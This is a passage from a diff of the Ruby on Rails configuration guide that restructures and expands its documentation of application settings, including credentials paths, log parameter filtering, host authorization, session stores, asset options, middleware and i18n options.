+Is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in the development and test environments, and `false` in production. For finer-grained control, set this to `false` and implement `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+#### `config.console`
+
+Allows you to set the class that will be used as console when you run `bin/rails console`. It's best to run it in the `console` block:
+
+```ruby
+console do
+  # this block is called only when running console,
+  # so we can safely require pry here
+  require "pry"
+  config.console = Pry
+end
+```
+
+#### `config.content_security_policy_nonce_auto`
+
+See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide
+
+#### `config.content_security_policy_nonce_directives`
+
+See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide
+
+#### `config.content_security_policy_nonce_generator`
+
+See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide
+
+#### `config.content_security_policy_report_only`
+
+See [Reporting Violations](security.html#reporting-violations) in the Security
+Guide
+
+#### `config.credentials.content_path`
+
+The path of the encrypted credentials file.
+
+Defaults to `config/credentials/#{Rails.env}.yml.enc` if it exists, or
+`config/credentials.yml.enc` otherwise.
+
+NOTE: In order for the `bin/rails credentials` commands to recognize this value,
+it must be set in `config/application.rb` or `config/environments/#{Rails.env}.rb`.
+
+#### `config.credentials.key_path`
+
+The path of the encrypted credentials key file.
+
+Defaults to `config/credentials/#{Rails.env}.key` if it exists, or
+`config/master.key` otherwise.
+
+NOTE: In order for the `bin/rails credentials` commands to recognize this value,
+it must be set in `config/application.rb` or `config/environments/#{Rails.env}.rb`.
+
+#### `config.debug_exception_response_format`
+
+Sets the format used in responses when errors occur in the development environment. Defaults to `:api` for API only apps and `:default` for normal apps.
+
+#### `config.disable_sandbox`
+
+Controls whether or not someone can start a console in sandbox mode. This is helpful to avoid a long running session of sandbox console, that could lead a database server to run out of memory. Defaults to `false`.
+
+#### `config.dom_testing_default_html_version`
+
+Controls whether an HTML4 parser or an HTML5 parser is used by default by the test helpers in Action View, Action Dispatch, and `rails-dom-testing`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:html4`             |
+| 7.1                   | `:html5` (see NOTE)  |
+
+NOTE: Nokogiri's HTML5 parser is not supported on JRuby, so on JRuby platforms Rails will fall back to `:html4`.
+
+#### `config.eager_load`
+
+When `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks, and any other registered namespace.
+
+#### `config.eager_load_namespaces`
+
+Registers namespaces that are eager loaded when `config.eager_load` is set to `true`. All namespaces in the list must respond to the `eager_load!` method.
+
+#### `config.eager_load_paths`
+
+Accepts an array of paths from which Rails will eager load on boot if `config.eager_load` is true. Defaults to every folder in the `app` directory of the application.
+
+#### `config.enable_reloading`
+
+If `config.enable_reloading` is true, application classes and modules are reloaded in between web requests if they change. Defaults to `true` in the `development` environment, and `false` in the `production` environment.
+
+The predicate `config.reloading_enabled?` is also defined.
+
+#### `config.encoding`
+
+Sets up the application-wide encoding. Defaults to UTF-8.
+
+#### `config.exceptions_app`
+
+Sets the exceptions application invoked by the `ShowException` middleware when an exception happens.
+Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+#### `config.file_watcher`
+
+Is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker`. Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API.
+
+Using `ActiveSupport::EventedFileUpdateChecker` depends on the [listen](https://github.com/guard/listen) gem:
+
+```ruby
+group :development do
+  gem "listen", "~> 3.5"
+end
+```
+
+On Linux and macOS no additional gems are needed, but some are required
+[for *BSD](https://github.com/guard/listen#on-bsd) and
+[for Windows](https://github.com/guard/listen#on-windows).
+
+Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations).
+
+#### `config.filter_parameters`
+
+Used for filtering out the parameters that you don't want shown in the logs,
+such as passwords or credit card numbers. It also filters out sensitive values
+of database columns when calling `#inspect` on an Active Record object. By
+default, Rails filters out passwords by adding the following filters in
+`config/initializers/filter_parameter_logging.rb`.
+
+```ruby
+Rails.application.config.filter_parameters += [
+  :passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc
+]
+```
+
+Parameters filter works by partial matching regular expression.
+
+#### `config.filter_redirect`
+
+Used for filtering out redirect urls from application logs.
+
+```ruby
+Rails.application.config.filter_redirect += ["s3.amazonaws.com", /private-match/]
+```
+
+The redirect filter works by testing that urls include strings or match regular
+expressions.
+
+#### `config.force_ssl`
+
+Forces all requests to be served over HTTPS, and sets "https://" as the default protocol when generating URLs. Enforcement of HTTPS is handled by the `ActionDispatch::SSL` middleware, which can be configured via `config.ssl_options`.
+
+#### `config.helpers_paths`
+
+Defines an array of additional paths to load view helpers.
+
+#### `config.host_authorization`
+
+Accepts a hash of options to configure the [HostAuthorization
+middleware](#actiondispatch-hostauthorization)
+
+#### `config.hosts`
+
+An array of strings, regular expressions, or `IPAddr` used to validate the
+`Host` header. Used by the [HostAuthorization
+middleware](#actiondispatch-hostauthorization) to help prevent DNS rebinding
+attacks.
+
+#### `config.javascript_path`
+
+Sets the path where your app's JavaScript lives relative to the `app` directory and the default value is `javascript`.
+An app's configured `javascript_path` will be excluded from `autoload_paths`.
+
+#### `config.log_file_size`
+
+Defines the maximum size of the Rails log file in bytes. Defaults to `104_857_600` (100 MiB) in development and test, and unlimited in all other environments.
+
+#### `config.log_formatter`
+
+Defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all environments. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you.
+
+#### `config.log_level`
+
+Defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments except production, where it defaults to `:info`. The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`.
+
+#### `config.log_tags`
+
+Accepts a list of methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
+
+#### `config.logger`
+
+Is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:
+
+* To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger.
+* To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`.
+* To support silencing, the logger must include `ActiveSupport::LoggerSilence` module. The `ActiveSupport::Logger` class already includes these modules.
+
+```ruby
+class MyLogger < ::Logger
+  include ActiveSupport::LoggerSilence
+end
+
+mylogger           = MyLogger.new(STDOUT)
+mylogger.formatter = config.log_formatter
+config.logger      = ActiveSupport::TaggedLogging.new(mylogger)
+```
+
+#### `config.middleware`
+
+Allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+#### `config.precompile_filter_parameters`
+
+When `true`, will precompile [`config.filter_parameters`](#config-filter-parameters)
+using [`ActiveSupport::ParameterFilter.precompile_filters`][].
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true`               |
+
+[`ActiveSupport::ParameterFilter.precompile_filters`]: https://api.rubyonrails.org/classes/ActiveSupport/ParameterFilter.html#method-c-precompile_filters
 
-    This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+#### `config.public_file_server.enabled`
 
-* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+Configures whether Rails should serve static files from the public directory.
+Defaults to `true`.
+
+If the server software (e.g. NGINX or Apache) should serve static files instead,
+set this value to `false`.
+
+#### `config.railties_order`
+
+Allows manually specifying the order that Railties/Engines are loaded. The
+default value is `[:all]`.
+
+```ruby
+config.railties_order = [Blog::Engine, :main_app, :all]
+```
+
+#### `config.rake_eager_load`
+
+When `true`, eager load the application when running Rake tasks. Defaults to `false`.
+
+#### `config.relative_url_root`
+
+Can be used to tell Rails that you are [deploying to a subdirectory](
+configuring.html#deploy-to-a-subdirectory-relative-url-root). The default
+is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+#### `config.reload_classes_only_on_change`
+
+Enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.enable_reloading` is `false`, this option is ignored.
+
+#### `config.require_master_key`
+
+Causes the app to not boot if a master key hasn't been made available through `ENV["RAILS_MASTER_KEY"]` or the `config/master.key` file.
+
+#### `config.sandbox_by_default`
+
+When `true`, rails console starts in sandbox mode. To start rails console in non-sandbox mode, `--no-sandbox` must be specified. This is helpful to avoid accidental writing to the production database. Defaults to `false`.
+
+#### `config.secret_key_base`
+
+The fallback for specifying the input secret for an application's key generator.
+It is recommended to leave this unset, and instead to specify a `secret_key_base`
+in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation](
+https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key_base)
+for more information and alternative configuration methods.
+
+#### `config.server_timing`
+
+When `true`, adds the [`ServerTiming` middleware](#actiondispatch-servertiming)
+to the middleware stack. Defaults to `false`, but is set to `true` in the
+default generated `config/environments/development.rb` file.
+
+#### `config.session_options`
+
+Additional options passed to `config.session_store`. You should use
+`config.session_store` to set this instead of modifying it yourself.
+
+```ruby
+config.session_store :cookie_store, key: "_your_app_session"
+config.session_options # => {key: "_your_app_session"}
+```
+
+#### `config.session_store`
+
+Specifies what class to use to store the session. Possible values are `:cache_store`, `:cookie_store`, `:mem_cache_store`, a custom store, or `:disabled`. `:disabled` tells Rails not to deal with sessions.
+
+This setting is configured via a regular method call, rather than a setter. This allows additional options to be passed:
+
+```ruby
+config.session_store :cookie_store, key: "_your_app_session"
+```
+
+If a custom store is specified as a symbol, it will be resolved to the `ActionDispatch::Session` namespace:
+
+```ruby
+# use ActionDispatch::Session::MyCustomStore as the session store
+config.session_store :my_custom_store
+```
+
+The default store is a cookie store with the application name as the session key.
+
+#### `config.silence_healthcheck_path`
+
+Specifies the path of the health check that should be silenced in the logs. Uses `Rails::Rack::SilenceRequest` to implement the silencing. All in service of keeping health checks from clogging the production logs, especially for early-stage applications.
+
+```
+config.silence_healthcheck_path = "/up"
+```
+
+#### `config.ssl_options`
+
+Configuration options for the [`ActionDispatch::SSL`](https://api.rubyonrails.org/classes/ActionDispatch/SSL.html) middleware.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `{}`                 |
+| 5.0                   | `{ hsts: { subdomains: true } }` |
+
+#### `config.time_zone`
+
+Sets the default time zone for the application and enables time zone awareness for Active Record.
+
+#### `config.x`
+
+Used to easily add nested custom configuration to the application config object
+
+  ```ruby
+  config.x.payment_processing.schedule = :daily
+  Rails.configuration.x.payment_processing.schedule # => :daily
+  ```
+
+See [Custom Configuration](#custom-configuration)
+
+#### `config.yjit`
+
+Enables YJIT as of Ruby 3.3, to bring sizeable performance improvements. If you are
+deploying to a memory constrained environment you may want to set this to `false`.
+Additionally, you can pass a hash to configure YJIT options such as `{ stats: true }`.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.2                   | `true`               |
+| 8.1                   | `!Rails.env.local?`  |
 
 ### Configuring Assets
 
-* `config.assets.enabled` a flag that controls whether the asset
-pipeline is enabled. It is set to `true` by default.
+#### `config.assets.css_compressor`
+
+Defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+#### `config.assets.js_compressor`
+
+Defines the JavaScript compressor to use. Possible values are `:terser`, `:closure`, `:uglifier`, and `:yui`, which require the use of the `terser`, `closure-compiler`, `uglifier`, or `yui-compressor` gems respectively.
+
+#### `config.assets.gzip`
+
+A flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default.
+
+#### `config.assets.paths`
 
-* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+Contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
 
-* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+#### `config.assets.precompile`
 
-* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+Allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `bin/rails assets:precompile` is run.
 
-* `config.assets.gzip` a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default.
+#### `config.assets.unknown_asset_fallback`
 
-* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+Allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer.
 
-* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `true`.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 5.1                   | `false`              |
 
-* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+#### `config.assets.prefix`
 
-* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.
+Defines the prefix where assets are served from. Defaults to `/assets`.
 
-* `config.assets.digest` enables the use of SHA256 fingerprints in asset names. Set to `true` by default.
+#### `config.assets.manifest`
 
-* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+Defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.
 
-* `config.assets.version` is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.
+#### `config.assets.digest`
 
-* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+Enables the use of SHA256 fingerprints in asset names. Set to `true` by default.
 
-* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging.
+#### `config.assets.debug`
 
-* `config.assets.quiet` disables logging of assets requests. Set to `true` by default in `development.rb`.
+Disables the concatenation and compression of assets.
+
+#### `config.assets.version`
+
+Is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.
+
+#### `config.assets.compile`
+
+Is a boolean that can be used to turn on live Sprockets compilation in production.
+
+#### `config.assets.logger`
+
+Accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging.
+
+#### `config.assets.quiet`
+
+Disables logging of assets requests. Set to `true` by default in `config/environments/development.rb`.
 
 ### Configuring Generators
 
@@ -200,510 +708,2869 @@ end
 
 The full set of methods that can be used in this block are as follows:
 
-* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
 * `force_plural` allows pluralized model names. Defaults to `false`.
 * `helper` defines whether or not to generate helpers. Defaults to `true`.
 * `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`.
-* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
-* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `:js`.
+* `system_tests` defines which integration tool to use to generate system tests. Defaults to `:test_unit`.
 * `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
-* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `resource_controller` defines which generator to use for generating a controller when using `bin/rails generate resource`. Defaults to `:controller`.
 * `resource_route` defines whether a resource route definition should be generated
   or not. Defaults to `true`.
-* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
-* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
-* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
-* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`.
-* `test_framework` defines which test framework to use. Defaults to `false` and will use Minitest by default.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `bin/rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use minitest by default.
 * `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+* `apply_rubocop_autocorrect_after_generate!` applies RuboCop's autocorrect feature after Rails generators are run.
 
 ### Configuring Middleware
 
 Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
 
-* `ActionDispatch::SSL` forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`.
-* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`.
-* `ActionDispatch::Executor` allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time.
-* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
-* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
-* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs.
-* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
-* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
-* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
-* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
-* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
-* `ActionDispatch::Cookies` sets cookies for the request.
-* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
-* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
-* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
-* `Rack::Head` converts HEAD requests to GET requests and serves them as so.
+#### `ActionDispatch::HostAuthorization`
 
-Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+Prevents against DNS rebinding and other `Host` header attacks.
+It is included in the development environment by default with the following configuration:
 
 ```ruby
-config.middleware.use Magical::Unicorns
+Rails.application.config.hosts = [
+  IPAddr.new("0.0.0.0/0"),        # All IPv4 addresses.
+  IPAddr.new("::/0"),             # All IPv6 addresses.
+  "localhost",                    # The localhost reserved domain.
+  ENV["RAILS_DEVELOPMENT_HOSTS"]  # Additional comma-separated hosts for development.
+]
 ```
 
-This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+In other environments `Rails.application.config.hosts` is empty and no
+`Host` header checks will be done. If you want to guard against header
+attacks on production, you have to manually permit the allowed hosts
+with:
 
 ```ruby
-config.middleware.insert_before Rack::Head, Magical::Unicorns
+Rails.application.config.hosts << "product.com"
 ```
 
-Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so:
+The host of a request is checked against the `hosts` entries with the case
+operator (`#===`), which lets `hosts` support entries of type `Regexp`,
+`Proc` and `IPAddr` to name a few. Here is an example with a regexp.
 
 ```ruby
-config.middleware.insert_before 0, Magical::Unicorns
+# Allow requests from subdomains like `www.product.com` and
+# `beta1.product.com`.
+Rails.application.config.hosts << /.*\.product\.com/
 ```
 
-There's also `insert_after` which will insert a middleware after another:
+The provided regexp will be wrapped with both anchors (`\A` and `\z`) so it
+must match the entire hostname. `/product.com/`, for example, once anchored,
+would fail to match `www.product.com`.
+
+A special case is supported that allows you to permit the domain and all sub-domains:
 
 ```ruby
-config.middleware.insert_after Rack::Head, Magical::Unicorns
+# Allow requests from the domain itself `product.com` and subdomains like `www.product.com` and `beta1.product.com`.
+Rails.application.config.hosts << ".product.com"
 ```
 
-Middlewares can also be completely swapped out and replaced with others:
+You can exclude certain requests from Host Authorization checks by setting
+`config.host_authorization.exclude`:
 
 ```ruby
-config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+# Exclude requests for the /healthcheck/ path from host checking
+Rails.application.config.host_authorization = {
+  exclude: ->(request) { request.path.include?("healthcheck") }
+}
 ```
 
-They can also be removed from the stack completely:
+When a request comes to an unauthorized host, a default Rack application
+will run and respond with `403 Forbidden`. This can be customized by setting
+`config.host_authorization.response_app`. For example:
 
 ```ruby
-config.middleware.delete Rack::MethodOverride
+Rails.application.config.host_authorization = {
+  response_app: -> env do
+    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
+  end
+}
 ```
 
-### Configuring i18n
+#### `ActionDispatch::ServerTiming`
 
-All these configuration options are delegated to the `I18n` library.
+Adds the [`Server-Timing`][] header to the response, which includes performance
+metrics from the server. This data can be viewed by inspecting the response in
+the Network panel of the browser's Developer Tools. Most browsers provide a
+Timing tab that visualizes the data.
 
-* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+[`Server-Timing`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing
 
-* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+#### `ActionDispatch::SSL`
 
-* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+Forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`.
 
-* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+#### `ActionDispatch::Static`
 
-* `config.i18n.fallbacks` sets fallback behavior for missing translations. Here are 3 usage examples for this option:
+Is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`.
 
-  * You can set the option to `true` for using default locale as fallback, like so:
+#### `ActionDispatch::Executor`
 
-    ```ruby
-    config.i18n.fallbacks = true
-    ```
+Allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time.
 
-  * Or you can set an array of locales as fallback, like so:
+#### `ActiveSupport::Cache::Strategy::LocalCache`
 
-    ```ruby
-    config.i18n.fallbacks = [:tr, :en]
-    ```
+Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
 
-  * Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so:
+#### `Rack::Runtime`
+
+Sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+
+#### `Rails::Rack::Logger`
+
+Notifies the logs that the request has begun. After request is complete, flushes all the logs.
+
+#### `ActionDispatch::ShowExceptions`
+
+Rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `:none`, exceptions will be raised regardless.
+
+#### `ActionDispatch::RequestId`
+
+Makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. Configurable with `config.action_dispatch.request_id_header`.
+
+#### `ActionDispatch::RemoteIp`
+
+Checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
+
+#### `Rack::Sendfile`
+
+Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+
+#### `ActionDispatch::Callbacks`
+
+Runs the prepare callbacks before serving the request.
+
+#### `ActionDispatch::Cookies`
+
+Sets cookies for the request.
+
+#### `ActionDispatch::Session::CookieStore`
+
+Is responsible for storing the session in cookies. An alternate middleware can be used for this by changing [`config.session_store`](#config-session-store).
+
+#### `ActionDispatch::Flash`
+
+Sets up the `flash` keys. Only available if [`config.session_store`](#config-session-store) is set to a value.
+
+#### `Rack::MethodOverride`
+
+Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+
+#### `Rack::Head`
+
+Returns an empty body for all HEAD requests. It leaves all other requests unchanged.
+
+#### Adding Custom Middleware
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before Rack::Head, Magical::Unicorns
+```
+
+Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so:
+
+```ruby
+config.middleware.insert_before 0, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after Rack::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+```
+
+Middlewares can be moved from one place to another:
+
+```ruby
+config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns
+```
+
+This will move the `Magical::Unicorns` middleware before
+`ActionDispatch::Flash`. You can also move it after:
+
+```ruby
+config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete Rack::MethodOverride
+```
+
+### Configuring i18n
+
+All these configuration options are delegated to the `I18n` library.
+
+#### `config.i18n.available_locales`
+
+Defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
+#### `config.i18n.default_locale`
+
+Sets the default locale of an application used for i18n. Defaults to `:en`.
+
+#### `config.i18n.enforce_available_locales`
+
+Ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
+#### `config.i18n.load_path`
+
+Sets the path Rails uses to look for locale files. Defaults to `config/locales/**/*.{yml,rb}`.
+
+#### `config.i18n.raise_on_missing_translations`
+
+Determines whether an error should be raised for missing translations. If `true`, views and controllers raise `I18n::MissingTranslationData`. If `:strict`, models also raise the error. This defaults to `false`.
+
+#### `config.i18n.fallbacks`
+
+Sets fallback behavior for missing translations. Here are 3 usage examples for this option:
+
+  * You can set the option to `true` for using default locale as fallback, like so:
+
+    ```ruby
+    config.i18n.fallbacks = true
+    ```
+
+  * Or you can set an array of locales as fallback, like so:
+
+    ```ruby
+    config.i18n.fallbacks = [:tr, :en]
+    ```
+
+  * Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so:
+
+    ```ruby
+    config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
+    #or
+    config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
+    ```
+
+### Configuring Active Model
+
+#### `config.active_model.i18n_customize_full_message`
+
+Controls whether the [`Error#full_message`][ActiveModel::Error#full_message] format can be overridden in an i18n locale file. Defaults to `false`.
+
+When set to `true`, `full_message` will look for a format at the attribute and model level of the locale files. The default format is `"%{attribute} %{message}"`, where `attribute` is the name of the attribute, and `message` is the validation-specific message. The following example overrides the format for all `Person` attributes, as well as the format for a specific `Person` attribute (`age`).
+
+```ruby
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :age
+
+  validates :name, :age, presence: true
+end
+```
+
+```yml
+en:
+  activemodel: # or activerecord:
+    errors:
+      models:
+        person:
+          # Override the format for all Person attributes:
+          format: "Invalid %{attribute} (%{message})"
+          attributes:
+            age:
+              # Override the format for the age attribute:
+              format: "%{message}"
+              blank: "Please fill in your %{attribute}"
+```
+
+```irb
+irb> person = Person.new.tap(&:valid?)
+
+irb> person.errors.full_messages
+=> [
+  "Invalid Name (can't be blank)",
+  "Please fill in your Age"
+]
+
+irb> person.errors.messages
+=> {
+  :name => ["can't be blank"],
+  :age  => ["Please fill in your Age"]
